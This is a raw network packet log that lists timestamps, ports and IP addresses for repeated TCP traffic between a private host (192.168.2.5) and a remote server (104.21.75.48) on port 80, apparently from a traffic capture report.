Jan 11, 2025 06:50:58.552186966 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552221060 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552272081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552299976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552323103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552360058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552386999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552392960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552464962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552500010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552519083 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552525043 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552550077 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552551985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552584887 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552612066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552619934 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552655935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552679062 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552687883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552721977 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552746058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552752018 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552777052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552786112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552814007 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552823067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552845955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552856922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552879095 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552890062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552925110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552946091 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552958012 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552988052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553009033 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553020000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553045034 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553055048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553077936 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553086996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553114891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553122997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553180933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553205967 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553234100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553261042 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553287983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553293943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553311110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553311110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553328991 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553355932 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553379059 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553406000 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553412914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553446054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553476095 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553479910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553513050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553544998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553546906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553580046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553603888 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553613901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553646088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553668976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553668976 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553683996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553709030 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553716898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553742886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553752899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553776979 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553788900 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.553814888 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.553936005 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554008961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554058075 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554090977 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554111004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554111004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554141045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554143906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554179907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554213047 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554234982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554246902 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554297924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554331064 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554336071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554363966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554387093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554397106 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554431915 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554456949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554467916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554501057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554526091 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.554538965 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.554655075 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608179092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608196974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608208895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608227015 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608238935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608272076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608321905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608335972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608345032 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608361959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608376026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608388901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608398914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608407021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608407974 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608412981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608426094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608439922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608441114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608453035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608464956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608470917 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608489037 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608484030 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608503103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608514071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608515024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608540058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608540058 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608566999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608673096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608685017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608695030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608707905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608720064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608721972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608741045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608742952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608756065 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608767986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608778954 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608791113 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608798027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608798027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608803988 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608809948 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608819008 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608849049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608860016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608870983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608884096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608892918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608892918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608892918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608897924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608907938 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608930111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608969927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.608982086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.608989000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609025955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609040976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609051943 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609071970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609072924 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609085083 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609096050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609097958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609110117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609114885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609121084 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609143972 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609185934 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609198093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609209061 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609219074 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609221935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609235048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.609245062 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609266996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.609446049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638681889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638701916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638715029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638727903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638741016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638751984 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638765097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638777018 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638853073 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638864994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638871908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638878107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638885975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638890982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638911009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638912916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638926029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638938904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638943911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638952971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638959885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.638976097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.638994932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639002085 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639008999 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639029026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639040947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639046907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639058113 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639065027 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639071941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639084101 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639091015 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639106035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639117002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639127016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639128923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639127016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639148951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639162064 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639167070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639175892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639180899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639202118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639214993 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639219046 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639230013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639234066 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639271021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639271021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639331102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639343023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639358044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639368057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.639395952 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.639436960 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640106916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640120029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640135050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640147924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640151978 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640161037 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640167952 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640176058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640192032 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640325069 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640336990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640345097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640350103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640362978 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640367985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640377045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640388966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640397072 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640402079 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640419960 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640444040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640463114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640897989 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640938997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640950918 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640958071 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.640988111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.640999079 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641005993 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641012907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641028881 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641097069 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641113997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641118050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641128063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641132116 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641140938 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641146898 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641160011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641161919 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641174078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641181946 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641187906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641201019 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641206980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.641232967 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641242027 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.641252041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.642136097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695070982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695089102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695154905 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695154905 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695178986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695199013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695211887 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695219994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695225000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695239067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695250988 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695259094 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695265055 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695276976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695288897 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695301056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695303917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695303917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695357084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695357084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695363998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695383072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695395947 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695406914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695419073 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695425034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695430994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695441008 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695451021 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695456982 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695462942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695470095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695478916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695513964 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695513964 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695525885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695535898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695552111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695580959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695591927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695600986 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695621014 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695631027 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695641041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695668936 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695679903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695738077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695758104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695769072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695775986 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.695833921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695844889 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.695856094 CET	49704	80	192.168.2.5	104.21.75.48
